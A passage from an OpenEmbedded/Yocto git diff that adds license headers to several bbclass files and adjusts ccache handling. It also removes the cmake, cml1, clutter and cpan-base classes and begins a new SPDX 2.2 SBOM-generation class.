- rootfs_size = subprocess.check_output(["du", "-sh", rootfs],
- stderr=subprocess.STDOUT).decode('utf-8')
- f.write("Uncompressed Rootfs size: %s" % rootfs_size)
- except subprocess.CalledProcessError as err:
- bb.warn("Failed to get rootfs size: %s" % err.output.decode('utf-8'))
-
- elif isinstance(e, bb.build.TaskFailed):
- # Can have a failure before TaskStarted so need to mkdir here too
- bb.utils.mkdirhier(taskdir)
- write_task_data("failed", os.path.join(taskdir, e.task), e, d)
- ########################################################################
- # Lets make things easier and tell people where the build failed in
- # build_status. We do this here because BuildCompleted triggers no
- # matter what the status of the build actually is
- ########################################################################
- build_status = os.path.join(bsdir, "build_stats")
- with open(build_status, "a") as f:
- f.write(d.expand("Failed at: ${PF} at task: %s \n" % e.task))
-}
-
-addhandler run_buildstats
-run_buildstats[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.build.TaskStarted bb.build.TaskSucceeded bb.build.TaskFailed"
-
-python runqueue_stats () {
- import buildstats
- from bb import event, runqueue
- # We should not record any samples before the first task has started,
- # because that's the first activity shown in the process chart.
- # Besides, at that point we are sure that the build variables
- # are available that we need to find the output directory.
- # The persistent SystemStats is stored in the datastore and
- # closed when the build is done.
- system_stats = d.getVar('_buildstats_system_stats', False)
- if not system_stats and isinstance(e, (bb.runqueue.sceneQueueTaskStarted, bb.runqueue.runQueueTaskStarted)):
- system_stats = buildstats.SystemStats(d)
- d.setVar('_buildstats_system_stats', system_stats)
- if system_stats:
- # Ensure that we sample at important events.
- done = isinstance(e, bb.event.BuildCompleted)
- system_stats.sample(e, force=done)
- if done:
- system_stats.close()
- d.delVar('_buildstats_system_stats')
-}
-
-addhandler runqueue_stats
-runqueue_stats[eventmask] = "bb.runqueue.sceneQueueTaskStarted bb.runqueue.runQueueTaskStarted bb.event.HeartbeatEvent bb.event.BuildCompleted bb.event.MonitorDiskEvent"
diff --git a/meta/classes/ccache.bbclass b/meta/classes/ccache.bbclass
index b5457359ca..262db6672c 100644
--- a/meta/classes/ccache.bbclass
+++ b/meta/classes/ccache.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# Usage:
# - Enable ccache
# Add the following line to a conffile such as conf/local.conf:
@@ -22,6 +28,11 @@
# be shared between different builds.
CCACHE_TOP_DIR ?= "${TMPDIR}/ccache"
+# ccache-native and cmake-native have a circular dependency
+# that affects other native recipes, but not all.
+# Allows to use ccache in specified native recipes.
+CCACHE_NATIVE_RECIPES_ALLOWED ?= ""
+
# ccahe removes CCACHE_BASEDIR from file path, so that hashes will be the same
# in different builds.
export CCACHE_BASEDIR ?= "${TMPDIR}"
@@ -33,6 +44,10 @@ export CCACHE_CONFIGPATH ?= "${COREBASE}/meta/conf/ccache.conf"
export CCACHE_DIR ?= "${CCACHE_TOP_DIR}/${MULTIMACH_TARGET_SYS}/${PN}"
+# Fixed errors:
+# ccache: error: Failed to create directory /run/user/0/ccache-tmp: Permission denied
+export CCACHE_TEMPDIR ?= "${CCACHE_DIR}/tmp"
+
# We need to stop ccache considering the current directory or the
# debug-prefix-map target directory to be significant when calculating
# its hash. Without this the cache would be invalidated every time
@@ -44,9 +59,9 @@ python() {
Enable ccache for the recipe
"""
pn = d.getVar('PN')
- # quilt-native doesn't need ccache since no c files
- if not (pn in ('ccache-native', 'quilt-native') or
- bb.utils.to_boolean(d.getVar('CCACHE_DISABLE'))):
+ if (pn in d.getVar('CCACHE_NATIVE_RECIPES_ALLOWED') or
+ not (bb.data.inherits_class("native", d) or
+ bb.utils.to_boolean(d.getVar('CCACHE_DISABLE')))):
d.appendVar('DEPENDS', ' ccache-native')
d.setVar('CCACHE', 'ccache ')
}
diff --git a/meta/classes/ccmake.bbclass b/meta/classes/ccmake.bbclass
index df5134a108..c5b4bf6260 100644
--- a/meta/classes/ccmake.bbclass
+++ b/meta/classes/ccmake.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit terminal
python do_ccmake() {
diff --git a/meta/classes/chrpath.bbclass b/meta/classes/chrpath.bbclass
index 26b984c4db..16729dcf61 100644
--- a/meta/classes/chrpath.bbclass
+++ b/meta/classes/chrpath.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
CHRPATH_BIN ?= "chrpath"
PREPROCESS_RELOCATE_DIRS ?= ""
@@ -56,7 +62,7 @@ def process_file_linux(cmd, fpath, rootdir, baseprefix, tmpdir, d, break_hardlin
def process_file_darwin(cmd, fpath, rootdir, baseprefix, tmpdir, d, break_hardlinks = False):
import subprocess as sub
- p = sub.Popen([d.expand("${HOST_PREFIX}otool"), '-L', fpath],stdout=sub.PIPE,stderr=sub.PIPE)
+ p = sub.Popen([d.expand("${HOST_PREFIX}otool"), '-L', fpath],stdout=sub.PIPE,stderr=sub.PIPE, text=True)
out, err = p.communicate()
# If returned successfully, process stdout for results
if p.returncode != 0:
diff --git a/meta/classes/clutter.bbclass b/meta/classes/clutter.bbclass
deleted file mode 100644
index 24b53a13e4..0000000000
--- a/meta/classes/clutter.bbclass
+++ /dev/null
@@ -1,18 +0,0 @@
-def get_minor_dir(v):
- import re
- m = re.match(r"^([0-9]+)\.([0-9]+)", v)
- return "%s.%s" % (m.group(1), m.group(2))
-
-def get_real_name(n):
- import re
- m = re.match(r"^([a-z]+(-[a-z]+)?)(-[0-9]+\.[0-9]+)?", n)
- return "%s" % (m.group(1))
-
-VERMINOR = "${@get_minor_dir("${PV}")}"
-REALNAME = "${@get_real_name("${BPN}")}"
-
-SRC_URI = "${GNOME_MIRROR}/${REALNAME}/${VERMINOR}/${REALNAME}-${PV}.tar.xz;name=archive"
-S = "${WORKDIR}/${REALNAME}-${PV}"
-
-CLUTTERBASEBUILDCLASS ??= "autotools"
-inherit ${CLUTTERBASEBUILDCLASS} pkgconfig gtk-doc gettext
diff --git a/meta/classes/cmake.bbclass b/meta/classes/cmake.bbclass
deleted file mode 100644
index 7c055e8a3d..0000000000
--- a/meta/classes/cmake.bbclass
+++ /dev/null
@@ -1,216 +0,0 @@
-# Path to the CMake file to process.
-OECMAKE_SOURCEPATH ??= "${S}"
-
-DEPENDS_prepend = "cmake-native "
-B = "${WORKDIR}/build"
-
-# What CMake generator to use.
-# The supported options are "Unix Makefiles" or "Ninja".
-OECMAKE_GENERATOR ?= "Ninja"
-
-python() {
- generator = d.getVar("OECMAKE_GENERATOR")
- if "Unix Makefiles" in generator:
- args = "-G '" + generator + "' -DCMAKE_MAKE_PROGRAM=" + d.getVar("MAKE")
- d.setVar("OECMAKE_GENERATOR_ARGS", args)
- d.setVarFlag("do_compile", "progress", "percent")
- elif "Ninja" in generator:
- args = "-G '" + generator + "' -DCMAKE_MAKE_PROGRAM=ninja"
- d.appendVar("DEPENDS", " ninja-native")
- d.setVar("OECMAKE_GENERATOR_ARGS", args)
- d.setVarFlag("do_compile", "progress", r"outof:^\[(\d+)/(\d+)\]\s+")
- else:
- bb.fatal("Unknown CMake Generator %s" % generator)
-}
-OECMAKE_AR ?= "${AR}"
-
-# Compiler flags
-OECMAKE_C_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CFLAGS}"
-OECMAKE_CXX_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS}"
-OECMAKE_C_FLAGS_RELEASE ?= "-DNDEBUG"
-OECMAKE_CXX_FLAGS_RELEASE ?= "-DNDEBUG"
-OECMAKE_C_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CPPFLAGS} ${LDFLAGS}"
-OECMAKE_CXX_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS} ${LDFLAGS}"
-CXXFLAGS += "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS}"
-CFLAGS += "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS}"
-
-def oecmake_map_compiler(compiler, d):
- args = d.getVar(compiler).split()
- if args[0] == "ccache":
- return args[1], args[0]
- return args[0], ""
-
-# C/C++ Compiler (without cpu arch/tune arguments)
-OECMAKE_C_COMPILER ?= "${@oecmake_map_compiler('CC', d)[0]}"
-OECMAKE_C_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CC', d)[1]}"
-OECMAKE_CXX_COMPILER ?= "${@oecmake_map_compiler('CXX', d)[0]}"
-OECMAKE_CXX_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CXX', d)[1]}"
-
-# clear compiler vars for allarch to avoid sig hash difference
-OECMAKE_C_COMPILER_allarch = ""
-OECMAKE_C_COMPILER_LAUNCHER_allarch = ""
-OECMAKE_CXX_COMPILER_allarch = ""
-OECMAKE_CXX_COMPILER_LAUNCHER_allarch = ""
-
-OECMAKE_RPATH ?= ""
-OECMAKE_PERLNATIVE_DIR ??= ""
-OECMAKE_EXTRA_ROOT_PATH ?= ""
-
-OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM = "ONLY"
-OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM_class-native = "BOTH"
-
-EXTRA_OECMAKE_append = " ${PACKAGECONFIG_CONFARGS}"
-
-export CMAKE_BUILD_PARALLEL_LEVEL
-CMAKE_BUILD_PARALLEL_LEVEL_task-compile = "${@oe.utils.parallel_make(d, False)}"
-CMAKE_BUILD_PARALLEL_LEVEL_task-install = "${@oe.utils.parallel_make(d, True)}"
-
-OECMAKE_TARGET_COMPILE ?= "all"
-OECMAKE_TARGET_INSTALL ?= "install"
-
-def map_host_os_to_system_name(host_os):
- if host_os.startswith('mingw'):
- return 'Windows'
- if host_os.startswith('linux'):
- return 'Linux'
- return host_os
-
-# CMake expects target architectures in the format of uname(2),
-# which do not always match TARGET_ARCH, so all the necessary
-# conversions should happen here.
-def map_host_arch_to_uname_arch(host_arch):
- if host_arch == "powerpc":
- return "ppc"
- if host_arch == "powerpc64":
- return "ppc64"
- return host_arch
-
-cmake_do_generate_toolchain_file() {
- if [ "${BUILD_SYS}" = "${HOST_SYS}" ]; then
- cmake_crosscompiling="set( CMAKE_CROSSCOMPILING FALSE )"
- fi
- cat > ${WORKDIR}/toolchain.cmake <<EOF
-# CMake system name must be something like "Linux".
-# This is important for cross-compiling.
-$cmake_crosscompiling
-set( CMAKE_SYSTEM_NAME ${@map_host_os_to_system_name(d.getVar('HOST_OS'))} )
-set( CMAKE_SYSTEM_PROCESSOR ${@map_host_arch_to_uname_arch(d.getVar('HOST_ARCH'))} )
-set( CMAKE_C_COMPILER ${OECMAKE_C_COMPILER} )
-set( CMAKE_CXX_COMPILER ${OECMAKE_CXX_COMPILER} )
-set( CMAKE_C_COMPILER_LAUNCHER ${OECMAKE_C_COMPILER_LAUNCHER} )
-set( CMAKE_CXX_COMPILER_LAUNCHER ${OECMAKE_CXX_COMPILER_LAUNCHER} )
-set( CMAKE_ASM_COMPILER ${OECMAKE_C_COMPILER} )
-set( CMAKE_AR ${OECMAKE_AR} CACHE FILEPATH "Archiver" )
-set( CMAKE_C_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "CFLAGS" )
-set( CMAKE_CXX_FLAGS "${OECMAKE_CXX_FLAGS}" CACHE STRING "CXXFLAGS" )
-set( CMAKE_ASM_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "ASM FLAGS" )
-set( CMAKE_C_FLAGS_RELEASE "${OECMAKE_C_FLAGS_RELEASE}" CACHE STRING "Additional CFLAGS for release" )
-set( CMAKE_CXX_FLAGS_RELEASE "${OECMAKE_CXX_FLAGS_RELEASE}" CACHE STRING "Additional CXXFLAGS for release" )
-set( CMAKE_ASM_FLAGS_RELEASE "${OECMAKE_C_FLAGS_RELEASE}" CACHE STRING "Additional ASM FLAGS for release" )
-set( CMAKE_C_LINK_FLAGS "${OECMAKE_C_LINK_FLAGS}" CACHE STRING "LDFLAGS" )
-set( CMAKE_CXX_LINK_FLAGS "${OECMAKE_CXX_LINK_FLAGS}" CACHE STRING "LDFLAGS" )
-
-# only search in the paths provided so cmake doesnt pick
-# up libraries and tools from the native build machine
-set( CMAKE_FIND_ROOT_PATH ${STAGING_DIR_HOST} ${STAGING_DIR_NATIVE} ${CROSS_DIR} ${OECMAKE_PERLNATIVE_DIR} ${OECMAKE_EXTRA_ROOT_PATH} ${EXTERNAL_TOOLCHAIN} ${HOSTTOOLS_DIR})
-set( CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY )
-set( CMAKE_FIND_ROOT_PATH_MODE_PROGRAM ${OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM} )
-set( CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY )
-set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY )
-set( CMAKE_PROGRAM_PATH "/" )
-
-# Use qt.conf settings
-set( ENV{QT_CONF_PATH} ${WORKDIR}/qt.conf )
-
-# We need to set the rpath to the correct directory as cmake does not provide any
-# directory as rpath by default
-set( CMAKE_INSTALL_RPATH ${OECMAKE_RPATH} )
-
-# Use RPATHs relative to build directory for reproducibility
-set( CMAKE_BUILD_RPATH_USE_ORIGIN ON )
-
-# Use our cmake modules
-list(APPEND CMAKE_MODULE_PATH "${STAGING_DATADIR}/cmake/Modules/")
-
-# add for non /usr/lib libdir, e.g. /usr/lib64
-set( CMAKE_LIBRARY_PATH ${libdir} ${base_libdir})
-
-# add include dir to implicit includes in case it differs from /usr/include
-list(APPEND CMAKE_C_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})
-list(APPEND CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})
-
-EOF
-}
-
-addtask generate_toolchain_file after do_patch before do_configure
-
-CONFIGURE_FILES = "CMakeLists.txt"
-
-cmake_do_configure() {
- if [ "${OECMAKE_BUILDPATH}" ]; then
- bbnote "cmake.bbclass no longer uses OECMAKE_BUILDPATH. The default behaviour is now out-of-tree builds with B=WORKDIR/build."
- fi
-
- if [ "${S}" != "${B}" ]; then
- rm -rf ${B}
- mkdir -p ${B}
- cd ${B}
- else
- find ${B} -name CMakeFiles -or -name Makefile -or -name cmake_install.cmake -or -name CMakeCache.txt -delete
- fi
-
- # Just like autotools cmake can use a site file to cache result that need generated binaries to run
- if [ -e ${WORKDIR}/site-file.cmake ] ; then
- oecmake_sitefile="-C ${WORKDIR}/site-file.cmake"
- else
- oecmake_sitefile=
- fi
-
- cmake \
- ${OECMAKE_GENERATOR_ARGS} \
- $oecmake_sitefile \
- ${OECMAKE_SOURCEPATH} \
- -DCMAKE_INSTALL_PREFIX:PATH=${prefix} \
- -DCMAKE_INSTALL_BINDIR:PATH=${@os.path.relpath(d.getVar('bindir'), d.getVar('prefix') + '/')} \
- -DCMAKE_INSTALL_SBINDIR:PATH=${@os.path.relpath(d.getVar('sbindir'), d.getVar('prefix') + '/')} \
- -DCMAKE_INSTALL_LIBEXECDIR:PATH=${@os.path.relpath(d.getVar('libexecdir'), d.getVar('prefix') + '/')} \
- -DCMAKE_INSTALL_SYSCONFDIR:PATH=${sysconfdir} \
- -DCMAKE_INSTALL_SHAREDSTATEDIR:PATH=${@os.path.relpath(d.getVar('sharedstatedir'), d. getVar('prefix') + '/')} \
- -DCMAKE_INSTALL_LOCALSTATEDIR:PATH=${localstatedir} \
- -DCMAKE_INSTALL_LIBDIR:PATH=${@os.path.relpath(d.getVar('libdir'), d.getVar('prefix') + '/')} \
- -DCMAKE_INSTALL_INCLUDEDIR:PATH=${@os.path.relpath(d.getVar('includedir'), d.getVar('prefix') + '/')} \
- -DCMAKE_INSTALL_DATAROOTDIR:PATH=${@os.path.relpath(d.getVar('datadir'), d.getVar('prefix') + '/')} \
- -DPYTHON_EXECUTABLE:PATH=${PYTHON} \
- -DPython_EXECUTABLE:PATH=${PYTHON} \
- -DPython3_EXECUTABLE:PATH=${PYTHON} \
- -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
- -DCMAKE_INSTALL_SO_NO_EXE=0 \
- -DCMAKE_TOOLCHAIN_FILE=${WORKDIR}/toolchain.cmake \
- -DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 \
- ${EXTRA_OECMAKE} \
- -Wno-dev
-}
-
-# To disable verbose cmake logs for a given recipe or globally config metadata e.g. local.conf
-# add following
-#
-# CMAKE_VERBOSE = ""
-#
-
-CMAKE_VERBOSE ??= "VERBOSE=1"
-
-# Then run do_compile again
-cmake_runcmake_build() {
- bbnote ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
- eval ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
-}
-
-cmake_do_compile() {
- cmake_runcmake_build --target ${OECMAKE_TARGET_COMPILE}
-}
-
-cmake_do_install() {
- DESTDIR='${D}' cmake_runcmake_build --target ${OECMAKE_TARGET_INSTALL}
-}
-
-EXPORT_FUNCTIONS do_configure do_compile do_install do_generate_toolchain_file
diff --git a/meta/classes/cml1.bbclass b/meta/classes/cml1.bbclass
deleted file mode 100644
index 9b9866f4c3..0000000000
--- a/meta/classes/cml1.bbclass
+++ /dev/null
@@ -1,93 +0,0 @@
-# returns all the elements from the src uri that are .cfg files
-def find_cfgs(d):
- sources=src_patches(d, True)
- sources_list=[]
- for s in sources:
- if s.endswith('.cfg'):
- sources_list.append(s)
-
- return sources_list
-
-cml1_do_configure() {
- set -e
- unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
- yes '' | oe_runmake oldconfig
-}
-
-EXPORT_FUNCTIONS do_configure
-addtask configure after do_unpack do_patch before do_compile
-
-inherit terminal
-
-OE_TERMINAL_EXPORTS += "HOST_EXTRACFLAGS HOSTLDFLAGS TERMINFO CROSS_CURSES_LIB CROSS_CURSES_INC"
-HOST_EXTRACFLAGS = "${BUILD_CFLAGS} ${BUILD_LDFLAGS}"
-HOSTLDFLAGS = "${BUILD_LDFLAGS}"
-CROSS_CURSES_LIB = "-lncurses -ltinfo"
-CROSS_CURSES_INC = '-DCURSES_LOC="<curses.h>"'
-TERMINFO = "${STAGING_DATADIR_NATIVE}/terminfo"
-
-KCONFIG_CONFIG_COMMAND ??= "menuconfig"
-KCONFIG_CONFIG_ROOTDIR ??= "${B}"
-python do_menuconfig() {
- import shutil
-
- config = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config")
- configorig = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config.orig")
-
- try:
- mtime = os.path.getmtime(config)
- shutil.copy(config, configorig)
- except OSError:
- mtime = 0
-
- oe_terminal("sh -c \"make %s; if [ \\$? -ne 0 ]; then echo 'Command failed.'; printf 'Press any key to continue... '; read r; fi\"" % d.getVar('KCONFIG_CONFIG_COMMAND'),
- d.getVar('PN') + ' Configuration', d)
-
- # FIXME this check can be removed when the minimum bitbake version has been bumped
- if hasattr(bb.build, 'write_taint'):
- try:
- newmtime = os.path.getmtime(config)
- except OSError:
- newmtime = 0
-
- if newmtime > mtime:
- bb.note("Configuration changed, recompile will be forced")
- bb.build.write_taint('do_compile', d)
-}
-do_menuconfig[depends] += "ncurses-native:do_populate_sysroot"
-do_menuconfig[nostamp] = "1"
-do_menuconfig[dirs] = "${KCONFIG_CONFIG_ROOTDIR}"
-addtask menuconfig after do_configure
-
-python do_diffconfig() {
- import shutil
- import subprocess
-
- workdir = d.getVar('WORKDIR')
- fragment = workdir + '/fragment.cfg'
- configorig = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config.orig")
- config = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config")
-
- try:
- md5newconfig = bb.utils.md5_file(configorig)
- md5config = bb.utils.md5_file(config)
- isdiff = md5newconfig != md5config
- except IOError as e:
- bb.fatal("No config files found. Did you do menuconfig ?\n%s" % e)
-
- if isdiff:
- statement = 'diff --unchanged-line-format= --old-line-format= --new-line-format="%L" ' + configorig + ' ' + config + '>' + fragment
- subprocess.call(statement, shell=True)
- # No need to check the exit code as we know it's going to be
- # non-zero, but that's what we expect.
- shutil.copy(configorig, config)
-
- bb.plain("Config fragment has been dumped into:\n %s" % fragment)
- else:
- if os.path.exists(fragment):
- os.unlink(fragment)
-}
-
-do_diffconfig[nostamp] = "1"
-do_diffconfig[dirs] = "${KCONFIG_CONFIG_ROOTDIR}"
-addtask diffconfig
diff --git a/meta/classes/copyleft_compliance.bbclass b/meta/classes/copyleft_compliance.bbclass
index eabf12ce7a..9ff9956fe9 100644
--- a/meta/classes/copyleft_compliance.bbclass
+++ b/meta/classes/copyleft_compliance.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Deploy sources for recipes for compliance with copyleft-style licenses
# Defaults to using symlinks, as it's a quick operation, and one can easily
# follow the links when making use of the files (e.g. tar with the -h arg).
diff --git a/meta/classes/copyleft_filter.bbclass b/meta/classes/copyleft_filter.bbclass
index c36bce431a..83cd90060d 100644
--- a/meta/classes/copyleft_filter.bbclass
+++ b/meta/classes/copyleft_filter.bbclass
@@ -1,10 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Filter the license, the copyleft_should_include returns True for the
# COPYLEFT_LICENSE_INCLUDE recipe, and False for the
# COPYLEFT_LICENSE_EXCLUDE.
#
# By default, includes all GPL and LGPL, and excludes CLOSED and Proprietary.
-#
-# vi:sts=4:sw=4:et
COPYLEFT_LICENSE_INCLUDE ?= 'GPL* LGPL* AGPL*'
COPYLEFT_LICENSE_INCLUDE[type] = 'list'
diff --git a/meta/classes/cpan-base.bbclass b/meta/classes/cpan-base.bbclass
deleted file mode 100644
index 867edf8707..0000000000
--- a/meta/classes/cpan-base.bbclass
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# cpan-base providers various perl related information needed for building
-# cpan modules
-#
-FILES_${PN} += "${libdir}/perl5 ${datadir}/perl5"
-
-DEPENDS += "${@["perl", "perl-native"][(bb.data.inherits_class('native', d))]}"
-RDEPENDS_${PN} += "${@["perl", ""][(bb.data.inherits_class('native', d))]}"
-
-inherit perl-version
-
-def is_target(d):
- if not bb.data.inherits_class('native', d):
- return "yes"
- return "no"
-
-PERLLIBDIRS = "${libdir}/perl5"
-PERLLIBDIRS_class-native = "${libdir}/perl5"
diff --git a/meta/classes/create-spdx-2.2.bbclass b/meta/classes/create-spdx-2.2.bbclass
new file mode 100644
index 0000000000..486efadba9
--- /dev/null
+++ b/meta/classes/create-spdx-2.2.bbclass
@@ -0,0 +1,1158 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+DEPLOY_DIR_SPDX ??= "${DEPLOY_DIR}/spdx"
+
+# The product name that the CVE database uses. Defaults to BPN, but may need to
+# be overriden per recipe (for example tiff.bb sets CVE_PRODUCT=libtiff).
+CVE_PRODUCT ??= "${BPN}"
+CVE_VERSION ??= "${PV}"
+
+SPDXDIR ??= "${WORKDIR}/spdx"
+SPDXDEPLOY = "${SPDXDIR}/deploy"
+SPDXWORK = "${SPDXDIR}/work"
+SPDXIMAGEWORK = "${SPDXDIR}/image-work"
+SPDXSDKWORK = "${SPDXDIR}/sdk-work"
+SPDXDEPS = "${SPDXDIR}/deps.json"
+
+SPDX_TOOL_NAME ??= "oe-spdx-creator"
+SPDX_TOOL_VERSION ??= "1.0"
+
+SPDXRUNTIMEDEPLOY = "${SPDXDIR}/runtime-deploy"
+
+SPDX_INCLUDE_SOURCES ??= "0"
+SPDX_ARCHIVE_SOURCES ??= "0"
+SPDX_ARCHIVE_PACKAGED ??= "0"
+
+SPDX_UUID_NAMESPACE ??= "sbom.openembedded.org"
+SPDX_NAMESPACE_PREFIX ??= "http://spdx.org/spdxdoc"
+SPDX_PRETTY ??= "0"
+
+SPDX_LICENSES ??= "${COREBASE}/meta/files/spdx-licenses.json"
+
+SPDX_CUSTOM_ANNOTATION_VARS ??= ""
+
+SPDX_ORG ??= "OpenEmbedded ()"
+SPDX_SUPPLIER ??= "Organization: ${SPDX_ORG}"
+SPDX_SUPPLIER[doc] = "The SPDX PackageSupplier field for SPDX packages created from \
+ this recipe. For SPDX documents create using this class during the build, this \
+ is the contact information for the person or organization who is doing the \
+ build."
+
+def extract_licenses(filename):
+ import re
+
+ lic_regex = re.compile(rb'^\W*SPDX-License-Identifier:\s*([ \w\d.()+-]+?)(?:\s+\W*)?$', re.MULTILINE)
+
+ try:
+ with open(filename, 'rb') as f:
+ size = min(15000, os.stat(filename).st_size)
+ txt = f.read(size)
+ licenses = re.findall(lic_regex, txt)
+ if licenses:
+ ascii_licenses = [lic.decode('ascii') for lic in licenses]
+ return ascii_licenses
+ except Exception as e:
+ bb.warn(f"Exception reading {filename}: {e}")
+ return None
+
+def get_doc_namespace(d, doc):
+ import uuid
+ namespace_uuid = uuid.uuid5(uuid.NAMESPACE_DNS, d.getVar("SPDX_UUID_NAMESPACE"))
+ return "%s/%s-%s" % (d.getVar("SPDX_NAMESPACE_PREFIX"), doc.name, str(uuid.uuid5(namespace_uuid, doc.name)))
+
+def create_annotation(d, comment):
+ from datetime import datetime, timezone
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+ annotation = oe.spdx.SPDXAnnotation()
+ annotation.annotationDate = creation_time
+ annotation.annotationType = "OTHER"
+ annotation.annotator = "Tool: %s - %s" % (d.getVar("SPDX_TOOL_NAME"), d.getVar("SPDX_TOOL_VERSION"))
+ annotation.comment = comment
+ return annotation
+
+def recipe_spdx_is_native(d, recipe):
+ return any(a.annotationType == "OTHER" and
+ a.annotator == "Tool: %s - %s" % (d.getVar("SPDX_TOOL_NAME"), d.getVar("SPDX_TOOL_VERSION")) and
+ a.comment == "isNative" for a in recipe.annotations)
+
+def is_work_shared_spdx(d):
+ return bb.data.inherits_class('kernel', d) or ('work-shared' in d.getVar('WORKDIR'))
+
+def get_json_indent(d):
+ if d.getVar("SPDX_PRETTY") == "1":
+ return 2
+ return None
+
+python() {
+ import json
+ if d.getVar("SPDX_LICENSE_DATA"):
+ return
+
+ with open(d.getVar("SPDX_LICENSES"), "r") as f:
+ data = json.load(f)
+ # Transform the license array to a dictionary
+ data["licenses"] = {l["licenseId"]: l for l in data["licenses"]}
+ d.setVar("SPDX_LICENSE_DATA", data)
+}
+
+def convert_license_to_spdx(lic, document, d, existing={}):
+ from pathlib import Path
+ import oe.spdx
+
+ license_data = d.getVar("SPDX_LICENSE_DATA")
+ extracted = {}
+
+ def add_extracted_license(ident, name):
+ nonlocal document
+
+ if name in extracted:
+ return
+
+ extracted_info = oe.spdx.SPDXExtractedLicensingInfo()
+ extracted_info.name = name
+ extracted_info.licenseId = ident
+ extracted_info.extractedText = None
+
+ if name == "PD":
+ # Special-case this.
+ extracted_info.extractedText = "Software released to the public domain"
+ else:
+ # Seach for the license in COMMON_LICENSE_DIR and LICENSE_PATH
+ for directory in [d.getVar('COMMON_LICENSE_DIR')] + (d.getVar('LICENSE_PATH') or '').split():
+ try:
+ with (Path(directory) / name).open(errors="replace") as f:
+ extracted_info.extractedText = f.read()
+ break
+ except FileNotFoundError:
+ pass
+ if extracted_info.extractedText is None:
+ # If it's not SPDX or PD, then NO_GENERIC_LICENSE must be set
+ filename = d.getVarFlag('NO_GENERIC_LICENSE', name)
+ if filename:
+ filename = d.expand("${S}/" + filename)
+ with open(filename, errors="replace") as f:
+ extracted_info.extractedText = f.read()
+ else:
+ bb.fatal("Cannot find any text for license %s" % name)
+
+ extracted[name] = extracted_info
+ document.hasExtractedLicensingInfos.append(extracted_info)
+
+ def convert(l):
+ if l == "(" or l == ")":
+ return l
+
+ if l == "&":
+ return "AND"
+
+ if l == "|":
+ return "OR"
+
+ if l == "CLOSED":
+ return "NONE"
+
+ spdx_license = d.getVarFlag("SPDXLICENSEMAP", l) or l
+ if spdx_license in license_data["licenses"]:
+ return spdx_license
+
+ try:
+ spdx_license = existing[l]
+ except KeyError:
+ spdx_license = "LicenseRef-" + l
+ add_extracted_license(spdx_license, l)
+
+ return spdx_license
+
+ lic_split = lic.replace("(", " ( ").replace(")", " ) ").replace("|", " | ").replace("&", " & ").split()
+
+ return ' '.join(convert(l) for l in lic_split)
+
+def process_sources(d):
+ pn = d.getVar('PN')
+ assume_provided = (d.getVar("ASSUME_PROVIDED") or "").split()
+ if pn in assume_provided:
+ for p in d.getVar("PROVIDES").split():
+ if p != pn:
+ pn = p
+ break
+
+ # glibc-locale: do_fetch, do_unpack and do_patch tasks have been deleted,
+ # so avoid archiving source here.
+ if pn.startswith('glibc-locale'):
+ return False
+ if d.getVar('PN') == "libtool-cross":
+ return False
+ if d.getVar('PN') == "libgcc-initial":
+ return False
+ if d.getVar('PN') == "shadow-sysroot":
+ return False
+
+ # We just archive gcc-source for all the gcc related recipes
+ if d.getVar('BPN') in ['gcc', 'libgcc']:
+ bb.debug(1, 'spdx: There is bug in scan of %s is, do nothing' % pn)
+ return False
+
+ return True
+
+
+def add_package_files(d, doc, spdx_pkg, topdir, get_spdxid, get_types, *, archive=None, ignore_dirs=[], ignore_top_level_dirs=[]):
+ from pathlib import Path
+ import oe.spdx
+ import hashlib
+
+ source_date_epoch = d.getVar("SOURCE_DATE_EPOCH")
+ if source_date_epoch:
+ source_date_epoch = int(source_date_epoch)
+
+ sha1s = []
+ spdx_files = []
+
+ file_counter = 1
